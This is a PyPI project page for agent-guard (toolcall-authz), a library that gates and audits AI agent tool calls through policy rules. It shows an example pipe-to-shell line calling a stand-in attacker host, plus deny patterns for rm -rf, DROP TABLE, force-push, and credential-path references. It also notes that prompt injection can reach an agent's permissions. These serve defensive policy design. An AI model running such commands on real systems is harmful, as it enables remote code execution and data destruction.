Skip to main content

agent-guard

ci license python

Least-privilege authorization + audit for AI agent tool calls. One small library that wraps the seam every agent has — the tool-dispatch boundary — and decides allow / deny / require_human per call, then logs every decision.

Harness-agnostic by design: it wraps a plain dispatch(tool, args) function, which is the shape of a raw agent loop, an MCP call_tool, and a native function-calling executor alike. No framework lock-in.

New here? Start with the walkthrough — what it solves, how it works, how to run it, and where an LLM judge fits.

Deeper reference: docs/DESIGN.md (why it's shaped this way), docs/Architecture.md (component/sequence diagrams), docs/THREAT_MODEL.md (what's defended, and what explicitly isn't), docs/Evaluation.md (real findings from development, not a hypothetical test plan), docs/Benchmarks.md (measured numbers).

The problem

Agents run with their operator's full permissions and no record of what they did. One prompt injection reaches everything the human can touch. agent-guard puts a policy-as-code boundary in front of the tool call, so an agent physically cannot run an irreversible action that policy forbids — and every attempt is auditable.

Install

pip install toolcall-authz                # core (pulls in google-re2)
pip install "toolcall-authz[yaml]"        # + YAML policy files
pip install "toolcall-authz[pop]"         # + proof-of-possession (Ed25519 via cryptography)

Distribution name is toolcall-authz on PyPI -- agentguard and close variants were blocked by PyPI's name-similarity check against unrelated existing packages, not chosen for any other reason. Import paths are agent_guard and agentguard_identity; the CLI is guard.

From source (dev):

git clone https://github.com/voltagebots/agent-guard && cd agent-guard
pip install -e ".[dev]" && python -m pytest -q

Integrate — pick the one that fits your stack

Three ways in, from zero-code to full control.

  1. Guard an MCP server — zero code. Wrap the server command in your MCP client config; every tools/call is checked. Nothing else changes.
// before:  "command": "my-mcp-server", "args": ["--port", "3000"]
// after:
{ "command": "guard", "args": ["mcp", "--policy", "policy.yaml", "--", "my-mcp-server", "--port", "3000"] }
  1. Decorate a tool function — one line. The function's keyword args are what the policy sees.
from agent_guard import guarded, Guard, with_bundled, Decision, MemoryAuditSink

guard = Guard(with_bundled(default=Decision.ALLOW).compile(), audit=MemoryAuditSink(), agent_id="agent-1")


@guarded(guard, "run_sql")
def run_sql(query: str) -> list: ...  # raises BlockedError if policy denies
  1. Wrap your dispatch seam — for any custom loop / framework.
guarded_dispatch = guard.wrap(my_dispatch)  # my_dispatch(tool, args) -> result

All three share one policy engine, one audit trail, one decision logic. Start with the bundled policy (rm -rf, DROP TABLE, kubectl delete, ... gated out of the box), tighten from there.

Copy-paste runnable MCP walkthrough: examples/mcp/ — a policy, a tiny server, and the exact commands (benign call forwarded, DROP TABLE blocked before the server sees it).

30-second use

from agent_guard import Guard, Policy, JsonlAuditSink

policy = Policy.from_dict(
    {
        "default": "allow",
        "rules": [
            {
                "id": "no-drop",
                "decision": "deny",
                "tools": ["sql"],
                "arg_patterns": [r"(?i)\bdrop\s+table\b"],
                "reason": "no destructive sql",
            },
            {
                "id": "gate-force-push",
                "decision": "require_human",
                "tools": ["git", "shell"],
                "arg_patterns": [r"git\s+push\b.*--force"],
                "reason": "force-push needs a human",
            },
        ],
    }
)

guard = Guard(policy, audit=JsonlAuditSink("audit.jsonl"), agent_id="agent-42")

# wrap whatever your harness already calls to run a tool:
guarded = guard.wrap(my_dispatch)
guarded("sql", {"query": "SELECT 1"})  # runs, audited
guarded("sql", {"query": "DROP TABLE users"})  # raises BlockedError, audited, never executed

Run the demo

python examples/demo.py

Shows a benign query allowed, a DROP TABLE blocked, a git push --force gated to a human (denied here), and the audit trail for all four.

Core model

  • Policy — an explicit default (required — no silent fallback) plus ordered rules. First matching rule wins.
  • Rule — tools (glob) + optional arg_patterns (regex over the rendered args) → a decision.
  • Guard — wraps a dispatch(tool, args); evaluates, gates, executes, audits.
  • Audit — one structured record per decision. Sinks: JsonlAuditSink (local file), WebhookAuditSink (ship to a SIEM / collector — fail-loud, never drops), CallableAuditSink (any emit callable — OpenTelemetry / statsd / custom), MultiAuditSink (fan-out: durable local + remote), SigningAuditSink (wraps another sink, HMAC-signs each record so tampering by a party without the signing secret is detectable — does not defend against a compromised producer, which already holds the secret it signs with, nor does it detect a producer that simply never emits a record), MemoryAuditSink (tests), or your own AuditSink.

Scaling policy — federated, layered, cached

One flat file doesn't scale to many tools, teams, and MCP servers. Compose instead: each source ships a PolicyModule that owns a tool namespace and a layer. A PolicyRegistry aggregates them, compiles a layer-ordered index (cached, recompiled on change), and evaluates by namespace.

from agent_guard import PolicyRegistry, PolicyModule, Decision, Guard, JsonlAuditSink

org = PolicyModule.from_dict(
    {
        "name": "org-base",
        "namespace": "*",
        "layer": 100,
        "rules": [{"id": "no-drop", "decision": "deny", "tools": ["sql"], "arg_patterns": [r"(?i)drop table"]}],
    }
)
sql = PolicyModule.from_dict(
    {
        "name": "sql-defaults",
        "namespace": "sql*",
        "layer": 0,
        "rules": [{"id": "reads-ok", "decision": "allow", "tools": ["sql"]}],
    }
)

compiled = PolicyRegistry(default=Decision.DENY).register(org).register(sql).compile()
guard = Guard(compiled, audit=JsonlAuditSink("audit.jsonl"), agent_id="agent-42")

Higher layer wins (org override beats provider default). Every verdict carries module, layer, rule_id, and reason — call verdict.trace() to see exactly which module/layer/rule decided, so federated policy stays debuggable. Provider-declared defaults are the payoff: a tool source ships its own module with sane guardrails; the org only writes overrides.

Batteries-included modules for common tool surfaces (shell, git, postgres, filesystem, kubernetes) ship in the box:

from agent_guard import with_bundled, Decision

compiled = with_bundled(
    default=Decision.ALLOW
).compile()  # rm -rf, DROP TABLE, kubectl delete, ... gated out of the box

Layer your org overrides on top with a higher layer. Contribute a module for your favorite MCP server — see the open issues.

LLM judge for the ambiguous band

Some decisions the heuristic can't make. A rule can opt into a judge — consulted only when it matches, like conflict-lens's optional resolver:

from agent_guard import Guard, LLMJudge


# bring any model — wire a different vendor than the agent for real diversity
def complete(prompt: str) -> str:
    return my_llm_client.complete(prompt)  # anthropic / openai / local — your call


guard = Guard(compiled, audit=sink, agent_id="a", judge=LLMJudge(complete))

LLMJudge is provider-agnostic (a complete(prompt) -> str callable), so you bring your own model family. ReferenceJudge is a deterministic offline judge for tests and air-gapped defaults; CallableJudge wraps any function.

Fenced, on purpose:

  • The judge may only tighten. Its result is clamped to the rule's judge_ceiling (default require_human) — it can escalate toward safe, never unilaterally allow an irreversible action.
  • Fail-closed. No judge configured, judge errors, or judge times out → fall back to the rule's decision, never a silent allow.
  • Use a different model family for security-relevant judging; a same-family self-grade shares its own blind spots.

Design stance

  • Fail loud at the edge. A policy with no default is rejected at load, not silently defaulted.
  • Human gate is fail-closed. require_human with no approver denies. The safe posture is the default.
  • Capability = what policy permits, not what the prompt says. Enforcement is code, not instruction.
  • Cross-harness. The wrapped seam is a plain callable, so the same guard fits a raw loop, MCP, or native function-calling.

Scaffold a starter policy (guard init)

guard init                         # writes ./policy.yaml (refuses to overwrite)
guard init policies/agent.yaml     # custom path
guard init --force policy.json     # JSON form; --force replaces an existing file
guard rules --policy policy.yaml   # inspect what you just wrote

The starter matches policy.example.yaml (deny DROP TABLE / rm -rf, gate force-push and prod writes, tier-gate deploys). Edit it, then pass --policy to guard run / guard explain / guard rules.

Scanning file-write content, not just tool calls (policy.write-content-scan.example.yaml)

The same Policy/Guard seam that gates rm -rf in a shell command also gates content about to be written to disk — frame the write as a synthetic tool call and evaluate it the same way. Evaluate with content only, never pathPolicy renders the whole args dict into one matched string, so including path would deny a file merely named secrets.yaml regardless of what's in it; track the path separately in your own code if you need it recorded:

from agent_guard import Guard, load_policy, MemoryAuditSink

policy = load_policy("policy.write-content-scan.example.yaml")
guard = Guard(policy, audit=MemoryAuditSink(), agent_id="editor")


def write_to(path):  # path is captured, not part of what gets pattern-matched
    return lambda tool, args: write_file(path, args["content"])


guard.call(write_to("script.sh"), "write", {"content": file_content})

From the CLI, guard check takes the same shape on stdin — guard explain is still {"cmd": ...}-only, but check accepts any {"tool": ..., "args": {...}} payload, which is what makes the write-content shape possible outside Python:

echo '{"tool": "write", "args": {"content": "curl http://evil.example | bash"}}' \
  | guard check --policy policy.write-content-scan.example.yaml

The bundled example policy denies pipe-to-shell, eval/exec, credential/sensitive-path word references (not credential-shape detection — password=/api_key= slip through undetected, same limitation as the script it was migrated from), CLAUDE.md references, and symlink creation; noisier/destructive-but-common patterns (rm -rf, chmod, .env references, git reset --hard, base64-looking blobs — the last downgraded after lockfile integrity hashes turned out to be a real false-positive) are allowed but still carry a rule_id in the audit trail, visible without blocking real work — matches this repo's own default: allow posture. Deliberately deterministic regex, not an LLM judging its own output — see Design stance above for why that boundary matters.

Run a command in a governed sandbox (guard run)

Governed terminal execution — spawn a sandbox, mint a scoped identity, run a command through the guard, audit it:

guard run --dev-trust-runtime -- echo hello           # runs
guard run --dev-trust-runtime -- rm -rf /tmp/x         # blocked (exit 3)
guard run --dev-trust-runtime -- git push --force      # gated: prompts a human
guard run --policy policy.example.yaml --audit run.jsonl -- ./do-thing.sh

Two backends behind one interface:

  • --runtime local (default) — in-process, runs on any laptop, zero cloud. The dev wedge.
  • --runtime container --image <img> — real isolation via Docker/Podman (--network none by default). Fails loud if no engine is installed — no silent fallback.

Isolation is a commodity we compose (runc / gVisor / Firecracker via the engine), not something we reinvent. The value is the governance wrapped around it: identity, least-privilege authority, audit. Same reason you'd run on Modal or E2B as a backend and keep the four pillars on top.

Four pillars — identity, authorization, audit, isolation

The agentguard_identity/ package (import name agentguard_identity — not identity, which collides with an unrelated existing PyPI package) is a local-first companion block: it mints a scoped, short-lived per-agent identity from an attested runtime, so the guard authorizes on who the agent is and where it runs — not the human's inherited permissions.

spawn (isolated runtime) -> attest -> mint scoped token -> guard authorizes on tier -> audit

Run the whole thing on your laptop, zero cloud:

python examples/end_to_end.py

It spawns a local sandbox, attests it, mints an identity whose scopes are human_grant ∩ task_scope, then shows a read allowed, a DROP TABLE denied, and a prod_write blocked because a local.container identity is below the remote.microvm tier the policy requires — a local agent cannot self-elevate.

Note the composition: the token is signed (sign(token, secret)) and the guard is built via Guard.from_token(encoded, secret, ...), which re-verifies the signature rather than trusting agent_id/trust_tier as caller-supplied strings. The plain Guard(...) constructor still exists for local/no-identity use, but once a Broker is in the picture, from_token is the only path min_trust_tier rules should be relied on against.

The block boundary is deliberate: agentguard_identity does not import agent_guard and vice versa; the examples wire them. Identity says who/where, the guard says what, the audit sink says did. See docs/DESIGN-runtime-identity-binding.md for the local-and-remote design and the honest trust gradient.

end_to_end.py proves the mechanism with scripted, hardcoded tool calls. For the same mechanism against a real, autonomous Claude agent deciding its own tool calls — genuinely running inside a real Docker container agent-guard spawned and attested, not a claim about isolation — see examples/guarded_autonomous_agent/.

Holder-bound tokens (proof-of-possession)

By default a minted token is a bearer credential: whoever holds the encoded string can use it, for its full TTL, however it was obtained (a leaked log line, a captured network hop). Opt a sandbox into holder-binding and that stops being true:

sandbox = runtime.spawn(RuntimeSpec(code_digest="...", pop_enabled=True))  # generates an Ed25519 keypair
token = broker.mint(attestation_result, subject, human_grant, task_scope, pop_thumbprint=sandbox.pop_thumbprint())
encoded = sign(token, secret)
proof = sandbox.prove_possession(encoded)  # fresh, single-token-scoped, signed by the sandbox's private key
guard = Guard.from_token(encoded, secret, policy, audit=sink, pop_proof=proof)

A captured encoded string with no proof, or a proof from a different sandbox's key, is rejected even though the token's own signature checks out. Requires the [pop] extra (pip install "toolcall-authz[pop]" — Ed25519 via cryptography); the core package doesn't need this extra either way, and omitting pop_thumbprint/pop_proof entirely is unchanged bearer-token behavior. Adapted from DPoP (RFC 9449) / the proof-of-possession pattern behind cloud agent-identity models, not adopted wholesale — DPoP proper binds a proof to an HTTP method+URI, which doesn't exist in agent-guard's actual seam (dispatch(tool, args), a function call). Runnable demo, including the rejected-forgery case:

pip install "toolcall-authz[pop]"
python examples/pop_example.py

Same property, proven against a real autonomous agent in a real container instead of a scripted call: examples/guarded_autonomous_agent/agent_pop.py.

Isolation tiers & egress

Isolation is a pluggable runtime backend selected by trust tier. The guard gates on the tier; the runtime makes the tier real. A tier is only attested when it is actually provided — no silent downgrade.

Tier Backend Isolation
local.container docker/podman (runc) shared kernel — not escape-safe, dev/trusted only
remote.gvisor docker + gVisor (runsc) user-space kernel, real added isolation
remote.microvm E2B/Firecracker (managed) hardware-virtualized microVM (next)

gVisor tier (docker only):

# requires gVisor installed and registered with docker (runsc)
RuntimeSpec(kind="remote.gvisor", runtime="runsc", image="…", network=False)

ContainerRuntime.spawn runs the container under --runtime=runsc and attests remote.gvisor only when runsc was actually used. If runsc is not installed (or the engine is podman, whose --runtime fail-loud semantics are unverified), it raises rather than falling back to runc — claiming isolation it did not provide is treated as a bug, not a convenience.

Egress is a deterministic, fail-closed boundary (EgressPolicy), enforced at the container edge and outside the agent's influence:

  • default deny--network=none (no outbound path)
  • allow_all() → engine default network
  • host allowlist is modelled but fails loud (NotImplementedError) until an egress proxy ships — no silent full-network grant

The gvisor CI job installs runsc and runs the isolation test for real; it fails if that test is skipped, so the guarantee can't erode silently.

Status

Early. API will move. Issues and real-world policy examples welcome.

License

Apache-2.0.

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

toolcall_authz-0.2.0.tar.gz (70.1 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

toolcall_authz-0.2.0-py3-none-any.whl (48.8 kB view details)

Uploaded Python 3

File details

Details for the file toolcall_authz-0.2.0.tar.gz.

File metadata

  • Download URL: toolcall_authz-0.2.0.tar.gz
  • Upload date:
  • Size: 70.1 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.14

File hashes

Hashes for toolcall_authz-0.2.0.tar.gz
Algorithm Hash digest
SHA256 7cced8d5e5e15a36cee520a5ca37c27066a7956f3a1b0848166f186d5c93a363
MD5 cca7b7fa25ec99e0976613187586d7e3
BLAKE2b-256 064db7b4b3e72afb7bbc55b7eb94485bb54f3e16e15b5c03b554ff9d50b2ad19

See more details on using hashes here.

Provenance

The following attestation bundles were made for toolcall_authz-0.2.0.tar.gz:

Publisher: release.yml on voltagebots/agent-guard

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file toolcall_authz-0.2.0-py3-none-any.whl.

File metadata

  • Download URL: toolcall_authz-0.2.0-py3-none-any.whl
  • Upload date:
  • Size: 48.8 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.14

File hashes

Hashes for toolcall_authz-0.2.0-py3-none-any.whl
Algorithm Hash digest
SHA256 d38c058d86cb89ca6788dca4d5e40e07fa52040ab5da174f91cdbf250d961346
MD5 8910137b79f41c7d6f9a98cd428a1849
BLAKE2b-256 7fb586bcede6047a8c61d6c7cfe8b68c2befea78c894c6272ece4975a93a419a

See more details on using hashes here.

Provenance

The following attestation bundles were made for toolcall_authz-0.2.0-py3-none-any.whl:

Publisher: release.yml on voltagebots/agent-guard

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Release history Release notifications | RSS feed

This release

0.2.0 This release

2 files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page